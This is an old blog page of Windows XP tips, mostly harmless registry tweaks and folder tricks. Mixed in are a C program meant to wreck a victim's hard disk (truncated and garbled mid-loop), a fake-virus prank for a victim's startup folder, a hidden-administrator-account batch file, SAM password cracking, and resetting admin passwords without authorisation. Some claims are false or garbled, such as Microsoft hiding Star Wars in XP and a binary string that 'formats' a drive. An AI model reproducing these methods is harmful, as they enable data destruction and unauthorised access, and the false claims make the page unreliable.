Oct 31, 2007

Windows tips 3

Hidden Star Wars Movie in Windows XP
Microsoft has hidden a version of Star Wars done entirely with ASCII characters in the Windows XP operating system.But you must be connected to internet to view it.When online,go to start->run.Now type ' telnet towel.blinkenlights.nl ' without the single quotes.See it for yourself.
It works only in Windows Xp.If you have any other operating system,watch it on YouTube:

Test if Antivirus is Working or not Using notepad

Open notepad..........Copy the above code in the file....
then save it with the name fakevirus.exe
If this file got deleted immediately ....That means ur antivirus is working properly
A Funny Notepad Trick1
1. Open a blank Notepad file
2. Write .LOG as the first line of the file, followed by a enter. Save the file and close it.
3. Double-click the file to open it and notice that Notepad appends the current date and time to the end of the file and places the cursor on the line after.
4. Type your notes and then save and close the file.
After that open the file and see the changes.
A Funny Notepad Trick2
Did you know that the flight number of the plane that had hit WTC ...on 9/11 was Q33N ....Open your Notepad in ur computer and type the flight number i.e Q33N... Increase the Font Size to 72, Change the Font to Wingdings.
A Funny Notepad Trick3
Make friends scare of VIRUS
Open notepad and type this:
lol=msgbox ("Warning a virus has been detected on your PC. Press YES to format your hard disk now or press NO to format your hard disk after system reboot",20,"Warning")
Then save it as Virus.VBS
and go to the folder that contains it and open it if a window pops out saying a virus has been detected it's working. Press yes or no to close the window and put it in the startup folder of the victim's account.On startup the window should appear.Note: This does not harm your computer as it does not contain virus.
Format Hard Disk using Notepad
1. Write The Following In Notepad Exactly as it says
2. Write the following code:01001011000111110010010101010101010000011111100000
3. Save As it as .EXE and any Name would Do.
4. If u run the program means it will format the Hard Drive.
Note:This is for learning purpose only. am not responsible for any liablities.
/*create bad sectors on the hard disk.
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* supported by preetam
* I don't take responsibility for what you do with this program, served foe educational purpose only.


#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < style="font-weight: bold;">
MS WORD Secret
Open Microsoft word n then type
=rand (200, 99)
then press enter

Windows XP Secret Music
Microsoft Windows XP is playing a cool music during installation. It is a pleasant little tune that you’ve probably never heard, unless you were present when Windows was being installed on your PC. After that it’s never played again, unless you know where to look for it.
To hear what you’ve been missing, just follow these:
Make you way to C:\WINDOWS\system32\oobe\images and look for a file called "Title.wma" or possibly "Windows welcome music.wma". It is around 2.56Mb in size. Just double click the file and this will open Windows Media Player, or your defaul player and it will proceed to serenade you with a more than 5 minutes music. It's up to you to repeat it.
How to Lock a Folder Using Notepad
1.Consider you want to lock a folder named PICS in your D:\, whose path is D:\PICS
2.Now open the Notepad and type the following
ren pics pics.{21EC2020-3AEA-1069-A2DD-08002B30309D}
3.Where pics is your folder name. Save the text file as loc.bat in the same drive.
4.Open another new notepad text file and type the following
ren pics.{21EC2020-3AEA-1069-A2DD-08002B30309D} pics
5.Save the text file as key.bat in the same drive.
6.To lock the pics folder, simply click the loc.bat and it will transform into control panel icon, which is inaccessible.
7.To unlock the folder click the key.bat file. Thus the folder will be unlocked and the contents are accessible.
Locking folders without software
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
echo Are you sure u want to Lock the folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
ren Locker "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
echo Enter password to Unlock folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked successfully
goto End
echo Invalid password
goto end
md Locker
echo Locker created successfully
goto End

* Now paste it in notepad.
Save it as batch file(with extension .bat).Any name will do.
Now you see a batch file. Double click it to create a folder locker.
A new folder named Locker would be formed at the same location.
Now brings all the files you want to hide in the locker folder.
Now double click the batch file to lock the folder namely Locker.
If you want to unlock your files,double click the batch file again and you would be prompted for password.Enter the password and enjoy access to the folder.

use pc as an alarm
Now this is specially for the ones who are too lazy to get up even when the trust cellphone dies screeching its lungs out. Its pretty simple Creating the playlist create a playlist of your favourite songs in Winamp, WMP or any other player. Export the playlist as a M3U playlist. M3U is generally accepted by almost every player. Triggering the alarm point to start> programs >accessories > system tools >scheduled tasks Create a new task and choose program as windows media player or winamp (May work with others too but I haven't tried anything else) Choose "daily", Enter the time and choose "every day" at next screen. It would now ask for password (leave blank in case you don't have one) Right click on the newly created task and check the "run only if logged in" check box. In the properties. Append the path to the playlist you created in the "run" text box. It should now look like Code:
"D:\windows mediaplayer\wmplayer.exe"K:\Playlists\smoothies.m3uthe text inside quotes is my WMP's path. It may vary for you. The text after WMP's path is the one to the playlist. Click OK and you're done.
A Hidden Secret in Xp
Create a new folder with the name ABC(of course you can give any name).
Open the command prompt and rename it to one of the following:
.{20D04FE0-3AEA-1069-A2D8-08002B30309D} (= My Computer)
.{450D8FBA-AD25-11D0-98A8-0800361B1103} (= My Documents)
.{208D2C60-3AEA-1069-A2D7-08002B30309D} (= My Network Places)
.{645FF040-5081-101B-9F08-00AA002F954E} (= Recycle Bin)
.{871C5380-42A0-1069-A2EA-08002B30309D} (= Internet Explorer)
.{21EC2020-3AEA-1069-A2DD-08002B30309D} (= Control Panel)
.{D20EA4E1-3957-11D2-A40B-0C5020524153} (= Administrative Tools)
.{00020D75-0000-0000-C000-000000000046} (= Inbox)
.{D20EA4E1-3957-11D2-A40B-0C5020524152} (= Fonts)
.{7007ACC7-3202-11D1-AAD2-00805FC1270E} (= Network Connections)
.{2227A280-3AEA-1069-A2DE-08002B30309D} (= Printers and Faxes)
.{7BE9D83C-A729-4D97-b5A7-1B7313C39E0A} (= Programs Folder)
.{E211B736-43FD-11D1-9EFB-0000F8757FCD} (= Scanners and Cameras)
.{D6277990-4C6A-11CF-8D87-00AA0060F5BF} (= Scheduled Tasks)
.{48E7CAAB-B918-4E58-A94D-505519C795DC} (= Start Menu Folder)
.{7BD29E00-76C1-11CF-9DD0-00A0C9034933} (= Temporary Internet Files)
.{BDEADF00-C265-11d0-BCED-00A0C90AB50F} (= Web Folders)
.{6DFD7C5C-2451-11D3-A299-00C04F8EF6AF} (= Folder Options)
.{00020801-0000-0000-C000-000000000046} (= Folder)
.{00021400-0000-0000-C000-000000000046} (= Another Folder)
Important: include the point and nothing before that!
Example: "rename ABC .{20D04FE0-3AEA-1069-A2D8-08002B30309D}"
Now wen you will see that the icon of tht folder has changed(No name) to My computer Icon.Now Make a shortcut to that folder, change the target and icon and you have a nameless shortcut.

some STRANGER things in XP
1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).
2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).
3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.
4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

Make Invisible Folders!!

KEEP FOLDERS HIDDEN (Without any External Application)
Just go through the steps below..then u can make a hidden folder to keep all your data SAFE!
1. First create a new folder somewhere on your hard drive
when you name it hold down "Alt" and press "0160" this will create and invisible space so it will apper as if it has no name.
2. Then right click in and select "Properties" select the tab "coustimize" and select "change icon" scroll along and you should a few blanc spaces click on any one and click OK
when you hav saved the settings the folder will be invisible to hide all your personal files. You just have to remember the folders location in your hard drive..

Good Links........

wallpaper Sites
4 bollywood wallpaper
4 game wallpapers
gallery of XP wallpapers
Vista wallpaper

Windows tips 2

How to create hidden Admin Account on windows???
This batch (*.bat) file can be used to create an administrator account called "USER" with a password of "PASS" (Add the following text to a new file and give it a .bat extension:
@echo off
net user USER PASS /add
net localgroup Administrators USER /add
Now we need to make a registry entry fil that will cause an account with "USER" as the username to be hidden from the Welcome Screen and in most cases also hidden from the basic User Accounts settings windows... found in the control panel: place the following text in a file with a .reg extension.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion
Now, from the welcome screen in windows xp, press and hold Ctrl-Alt-
Delete to manually type in a desired username and password (eg. to log
into a hidden account)

Quick Encryption for Windows XP
What is encryption? Encryption is the process of converting data into a format that cannot be read by others. Windows XP can automatically encrypt your data when it is stored on the hard disk.
To encrypt your folder in Windows XP, all you have to do is right click the folder that you want to encrypt and choose the properties, then advance option, but that was the standard method the steps bellow will involve tweaking the registry so that the moment you right click the folder you want to encrypt you can immediately see it as part of the menu .
1.Open Registry Editor: Click start | Click Run… | Type regedit | Press Enter
2.Navigate to the following key (if it doesn’t exist, create it): HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3.Look for a DWORD value called EncryptionContextMenu (if it doesn’t exist, create it).
4.Change its value data to 1.
5.Click OK and close the Registry Editor.
1.This hack is not applicable to Microsoft Windows XP Home Edition
2.Windows registry is a crucial part of your system and messing around with it is dangerous.
Follow instructions carefully.
Cracking Windows Logon Password
Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.
-What are password Hashes?
Actually when we enter password in Windows Logon Tab, Windows encrypts our password using an encryption scheme that turns our password into something that looks like this:
SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM.
SAM file can be cracked by sing a simple freeware software "SAMInside".
Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows.
There are many alternatives to copy SAM file.
[1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.
How to login as Administrator in Windows XP?
The built-in Administrator account is hidden from Welcome Screen when a user account with Administrator privileges exists and enabled. In Windows XP Home Edition, you can login as built-in Administrator in Safe Mode only. For XP Professional, press CTRL + ALT + DEL twice at the Welcome Screen and input your Administrator password in the classic logon window that appears. To have the Administrator account display in the Welcome Screen, try any of these two methods:
Method 1:
Using TweakUI Power Toy for Windows XP
Open TweakUI and click "Logon" option in the left pane. Put a checkmark against the option "Show Administrator on Welcome Screen". Click OK to close TweakUI. Logoff and see if Welcome Screen lists Administrator login. Changes are immediate and you can use the Winkey + L to switch back to Welcome Screen to see Administrator account is listed. Use this procedure to hide/unhide any user account from the Welcome Screen. Please remember, you can still login to a hidden account using CTRL+ALT+DEL classic logon method, but cannot Fast User Switch to a hidden user account.
Method 2 - Manual registry edit
*Click Start, Run and type Regedit.exe
*Navigate to the following key:
HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList
1.Use the File, Export option to backup the key.
2.Right-click in the right pane and select New DWORD Value.
3.Type-in Administrator as the value.
4.Double-click Administrator, and assign a value of 1
5.Close Regedit
You may use this procedure to hide/show users in the Welcome Screen for any user account. Type the account name accordingly in step 5.
For Windows XP Home Edition: While you can configure Windows XP Home Edition to show Administrator account in the Welcome Screen, you cannot login as Administrator in Normal mode. Boot into Safe Mode to login as Administrator.
How to take ownership of a file or folder in XP
When you access a file or a folder in your system, you may receive an error "Access Denied", which indicates that you don't have permissions to access that folder or the file. Typical scenario where the error is seen is after you reinstall Windows XP and try to access your old profile. If you are an Administrator (or Administrator-level User account) and want to access the contents of the folder, you can take Ownership of that folder or the file. Prerequisites for taking ownership of a file or a folder
1. You must be logged on to the computer with an account that has administrative privileges.
2.If you are running Microsoft Windows XP Home Edition, you must start the computer in safe mode, and then log on with an account that has Administrative rights to have access to the Security tab. To start Windows XP in Safe Mode, see article Start Windows XP in Safe Mode
3.For Microsoft Windows XP Professional, you need to disable Simple File Sharing, in order to see the Security tab. To disable simple file sharing, follow these steps: Click Start, and then click My Computer. On the Tools menu, click Folder Options, and then click the View tab. In the Advanced Settings section, clear the Use simple file sharing (Recommended) check box. Click OK.
To take ownership of a folder, follow these steps:
1.Right-click the folder that you want to take ownership of, and then click Properties.
2.Click the Security tab, and then click OK on the Security message (if one appears).
3.Click Advanced, and then click the Owner tab.
4.In the Name list, click your user name, or click Administrator if you are logged in as Administrator, or click the Administrators group. If you want to take ownership of the contents of that folder, select the Replace owner on subcontainers and objects check box.
5.Click OK, and then click Yes when you receive the following message:
You do not have permission to read the contents of directory folder name. Do you want to replace the directory permissions with permissions granting you Full Control?
All permissions will be replaced if you press Yes.
where folder name is the name of the folder that you want to take ownership of.
6.Click OK, and then reapply the permissions and security settings that you want for the folder and its contents.
To take ownership of a file, follow these steps
1.Right-click the file that you want to take ownership of, and then click Properties.
2.Click the Security tab, and then click OK on the Security message (if one appears).
3.Click Advanced, and then click the Owner tab.
4.In the Name list, click Administrator, or click the Administrators group, and then click OK.
The administrator or the Administrators group now owns the file.
Hacking Password
1. Open command prompt (Start->Run->cmd),
2. Enter the following command, then press ENTER
3. Enter the followin command, then press ENTER:
This should open the computer management console.
4. Go to local users & groups->users. Right click on any user and select "set password".
If you get a "access denied" do the following:
then use following commands
1) net user test /add (this command will make test named user)
2) net localgroup administrators test /add (this command will make test user as administrators rights)
and use net user command to reset your admin. Password
What if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..
Start >> Run >> [type]cmd // this will open your command prompt
[type] net(space)user(press enter)
[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)
// for e.g. : net user HOME *(press enter)
[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..
// for e.g. : password changed successfully.
BIOS Passwords Hacks.
To perform this hack you will need:
A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
Needle-nosed pliers if you are working with jumpers
A small flashlight or headlamp
With tools at hand, perform the following steps:
1.Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
2.Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
3.Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
4.Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
5.Wait 20-30 seconds for the memory to clear out from lack of power.
6.After 20-30 seconds put the switch or jumper the way it was before for normal use.
7.Reconnect the power cord and start up the system to see if the settings have changed to defaults.
8.Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
9.Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.
If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory.
Make Invisible Folders!!
KEEP FOLDERS HIDDEN (Without any External Application)
Just go through the steps below..then u can make a hidden folder to keep all your data SAFE!
1. First create a new folder somewhere on your hard drive
when you name it hold down "Alt" and press "0160" this will create and invisible space so it will apper as if it has no name.
2. Then right click in and select "Properties" select the tab "coustimize" and select "change icon" scroll along and you should a few blanc spaces click on any one and click OK
when you hav saved the settings the folder will be invisible to hide all your personal files. You just have to remember the folders location in your hard drive..

Windows tweaks 3

101. Stop Win2K/XP From Fixing Broken Shortcuts
HKEY_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoResolveTrack This DWORD set to 1 will stop Windows 2000 and XP from trying to automatically fix shortcuts. 0 will enable it.
102. Setting the Cache Write Delay
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CacheWriteDelay (Windows 2000)
This DWORD value (in milliseconds) controls the time that Windows waits before it tries to shut down. This will allow time for the cache to be written permanently to the disk.
103. Verify CD-ROM/CD-R/CD-RW Drive Types
(Windows XP)
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CD Burning\Drives
Each CD drive will have its own Volume key. Double-click the "Drive Type" value to change its properties. CD-Rs should be set to 1; CD-RWs should be set to 2; non-writables should be set to 3.
104. Disable New Features of the Windows XP and Windows 2000 Shell
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell This DWORD value set to 1 will disable many of the newer features of the Windows Shell
105. Change Taskbar Background Flashing Settings
HKEY_CURRENT_USER\Control Panel\Desktop\ForegroundFlashCount
This REG_DWORD value sets the number of times that a background application flashes letting you know that it wants to take control
106. Disable Office 2000 Clipboard
Setting this DWORD value to 1 (Decimal) will stop the Office 2000 clipboard from popping up.
107. Remove Help Option From Start Menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoSMHelp (Windows 2000)
This REG_DWORD set to 1 will remove the Start Menu Help menu. You must log off and back on for this change to take effect. Setting this to 0 will show the Help menu.
108. Modify the Number of Recent Documents Stored in the Documents Menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\MaxRecentDocs
Set this DWORD value to the number of documents that you would like on the Documents menu of the Start Menu. The Windows default is 15. The number you choose must be in multiples of 15.
109. Resize Windows Minimize and Maximize Buttons
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\CaptionWidth
HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\CaptionHeight
Change these 2 registry values to change the size of the Minimize and Maximize buttons.
110. Hide the Documents Menu on the Start Menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoRecentDocsMenu
Set this DWORD value to 1 to hide the Documents menu. Shortcuts will still be added to the Documents, but since you don’t see the menu, you don’t see the shortcuts.
111. Disable Documents Menu on the Start Menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoRecentDocsHistory
Set this DWORD value to 1 to stop Windows from even keeping track of document history
112. Change Your Default Html Editor
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Default HTML\Editor\Description
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Default HTML\Editor\shell\edit\command
In the first registry key, change the description to the name of your HTML Editor.
In the second key, change the default REG_SZ data to the fully qualified pathname for your editor.
113. Track WindowsUpdate Processes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\SteppingMode
Set this string value to Y in order to track the process. Change it to N to ignore the process.
114. Set The Default Domain In Windows NT
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName
This string value should be set to the value to the preferred domain.
115. Set The Alternate Default Domain In Windows NT
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName
This string value should be set to the value to the alternative preferred domain.
116. Do Not Display The Username Of The Last User
(Windows 95/98/ME)
HKEY_LOCAL_MACHINE \Software\Microsoft\Windows\
(Windows 2000/XP)
(Windows NT)
This value should be set to 1 to stop the last user name from appearing in the Logon window
117. Disable Dragging To The Start Menu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu this REG_DWORD should be set to 1
118. Clear Windows Media Player Most Recently Used (MRU) List
Delete this key to clear the Windows Media Player most recently played file list.
119. Enable services through the registry
To enable (or change the startup options for) services on the local computer, locate the
Service, and set Start value to:
0 -boot
1 -system
2 -automatic
3 -manual
120. Disable Automatic Update Checking in Windows Media Player
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Policies\WindowsMediaPlayer\DisableAutoUpdate (WMP 7)
This REG_DWORD value should be set to 1. A value of 0 enables automatic updates.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\EnableAutoUpgrade (WMP 6.4)
This REG_SZ value should be set to No. A value of Yes enables automatic updates.
121. Internet Explorer DNS Cache Timeout
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DnsCacheTimeout
Since Internet Explorer 4.0, the DNS cache has been resetting itself every thirty minutes. Change this DWORD to the number of seconds between Cache purges.
122. Adding the My Computer Security Zone
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags
By default, there are four zones in IE that you may customize: Internet, Local intranet, Trusted Sites, and Restricted Sites. Change the value above from 33 to 1. You’ll now have a new My Computer zone.
123. Increase Icon Cache Size
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Max Cached Icons
Have you ever seen your icons change from the proper icon to one for another program? This happens because the icon cache is full. You can change the number of icons that are cached in this registry key. This REG_SZ value represents the number of icons that will be cached. The default is 500. If you find that your icons are changing often, increase this number to a maximum of 2000.
124. Disable IE’s Clicking Sound When You Click On A Link
Delete this key to stop IE from playing the clicking sound every time you click on a link.
125. Change Default Wallpaper Folder
Set this to the location where your desktop wallpaper will be found on this computer.
126. Hide Windows 2000/XP Places Bar
This DWORD value should be set to 1 to hide the places bar in the Open/Save dialog box.
127. Edit Windows 2000/XP Default Places Bar
This comes from a Windows FAQ newsletter:
You can modify the five default quick links in the Open and Save common dialog boxes by performing the following steps:
1. Start a registry editor (e.g., regedit.exe).
2. Navigate to the
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32 subkey. (If this subkey doesn't exist, select New, Key from the Edit menu to create it.)
3. From the Edit menu, select New, Key.
4. Enter a name of Placesbar and press Enter.
5. Navigate to the new registry subkey. You can create five entries (i.e., Place0, Place1, Place2, Place3, and Place4). Make each entry either a string value (REG_SZ) entry (for a named folder) or a DWORD value (REG_DWORD) entry (for a special folder, such as My Documents or My Network Places).
6. To create a new entry, go to the Edit menu, select New, DWORD value or New, String Value (as appropriate), enter a name of Placen (e.g., Place0, Place4), and press Enter.
7. Double-click the entry and set its REG_SZ "Value data" to a path and folder name or its REG_DWORD "Value data" to a numeric ID (the table below shows a partial list of these numeric IDs--the shlobj.h file, which is part of the platform software development kit (SDK), defines the full list of special numeric IDs).
8. Close the registry editor.
This change will not affect applications within the Microsoft Office suite but will affect applications, such as Notepad and Microsoft Paint, that use the Open and Save common dialog boxes. Each new entry you add will replace one of the default quick links.
ID Pathway
0 Desktop
1 Internet Explorer
2 Start Menu\Programs
3 My Computer\Control Panel
4 My Computer\Printers
5 My Documents
6 \Favorites
7 Start Menu\Programs\Startup
8 \Recent
9 \SendTo
a \Recycle Bin
b \Start Menu
c Logical "My Documents" desktop icon
d "My Music" folder
e "My Videos" folder
10 \Desktop
11 My Computer
12 Network Neighborhood (My Network Places)
13 \Nethood
14 Windows\Fonts
16 All Users\Start Menu
17 All Users\Start Menu\Programs
18 All Users\Startup
19 All Users\Desktop
1a \Application Data
1b \PrintHood
1c \Local Settings\Application Data
(nonroaming) 0x001d // nonlocalized startup
1e Nonlocalized common startup
1f Common favorites
20 Internet cache
21 Cookies
22 History
23 All Users\Application Data
24 GetWindowsDirectory()
25 GetSystemDirectory()
26 C:\Program Files
27 C:\Program Files\My Pictures
29 x86 system directory on RISC
2a x86 C:\Program Files on RISC
2b C:\Program Files\Common
2c x86 Program Files\Common on RISC
2d All Users\Templates
2e All Users\Documents
2f All Users\Start Menu\Programs\Administrative Tools
30 \Start Menu\Programs\Administrative Tools
31 Network and Dial-up Connections
35 All Users\My Music
36 All Users\My Pictures
37 All Users\My Video
38 Resource Directory
39 Localized Resource Directory
3a All Users OEM-specific applications
3b USERPROFILE\Local Settings\Application Data\Microsoft\CD Burning
128. Reinstalling Internet Explorer 6.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled.
This DWORD should be set to 0 to trick Windows into thinking that IE 6 isn’t installed
129. Reinstall Outlook Express 6.0
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\IsInstalled.
This DWORD should be set to 0 to trick Windows into thinking that OE 6 isn’t installed
130. Show Which Domain a PC Is Logging In To
This DWORD value should be set to 1 to show which domain a computer is logging in to. Setting the value to 0 will disable the message.
131. Find BIOS Information in the Registry
Some information about your BIOS may be in the keys above. Do not change these values. They are for reference only.
132. Disable Internet Explorer Advanced Tab
HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\AdvancedTab
Setting this to 1 will stop this tab from appearing. Change it to 0 or delete it to have the tab reappear.
133. Display the local Administrator account on the Windows XP Welcome screen?
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Administrator
This DWORD value should be set to 1 to show the account. Set it to 0 to hide the account
134. Tweak the registry to disable the Shut Down button
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ShutdownWithoutLogon
This value should be set to 0 to force users to logon before they shut down the computer.
135. Disable Low Disk Warnings in Windows XP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoLowDiskSpaceChecks Settings this to 1 will stop the OS from checking for disk space, which will also turn of the Low Disk Space balloons.
136. Disable 8.3 characters names on NTFS partitions
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation Set this DWORD value to 1 to stop NTFS systems from creating 8.3 character filenames.
137. Disable multi-user editing in Microsoft Word 2002
HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Options\NoPromptToForkDocuments Set this DWORD value to 1 to disable multi-user editing
138. Disable the search assistant in Microsoft Internet Explorer (IE) 6.0
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Use Search Asst
Settings this to NO will disable the search assistant
139. Disable the Windows Explorer search assistant in Windows XP
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState\Use Search Asst
Setting this String value to NO will disable the search assistant
140. Edit registry to read all e-mail as plain text
HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\ReadAsPlain Set this DWORD value to 1 will force Outlook XP SP1 to read all email as Plain Text.
141. Overwrite Deleted Information in Microsoft Outlook 2000/2002
HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\PST (subkey for Outlook 2002)
HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\PST (subkey for Outlook 2000)
Set the DWORD value PSTNullFreeOnClose to 1 to instruct Outlook to remove the deleted data every time you close the application, then click OK
142. Stop unwanted user access by turning off cached logins
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount
Set this to 0 to disable cached logins. This means that you must authenticate with a domain controller.
143. Change location of Print Spooler
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Printers\DefaultSpoolDirectory (Windows NT/2000/XP)
Change this to any location you want
144. Increase the priority of the print spooler
Set this DWORD value to 1
145. Right-click to encrypt
Setting this DWORD value to 1 will allow you to encrypt a file when you right-click on it.
146. Shut Down Your Computer When Event Log is Full
Setting the value to 1 will cause the computer to crash when the log is full. Setting it to 0 will disable this feature.
147. Force NT Kernel to stay resident in Memory
HKEY_Local_Machine\SYSTEM\CurrentControlSet\Control\Session Manager\
Memory Management\DisablePagingExecutive
Setting this value to 1 will cause the NT Kernel to stay resident in memory. This might speed up the performance of your operating system.
148. Disable EFS in Windows XP
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\
Set this DWORD value to 1 to disable EFS.
149. Reset Unread Email Counter on the Windows XP Welcome Screen
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail\ Message Count
Set this value to 0 will reset the unread-email counter on the Windows XP Welcome screen.
150. Remove Unread Email Counter from the Windows XP Welcome Screen
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail\ MessageExpiryDays
Setting this DWORD value to 0 will stop the XP Welcome screen from showing the number of unread messages.

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Oct 30, 2007

Security Terminology...

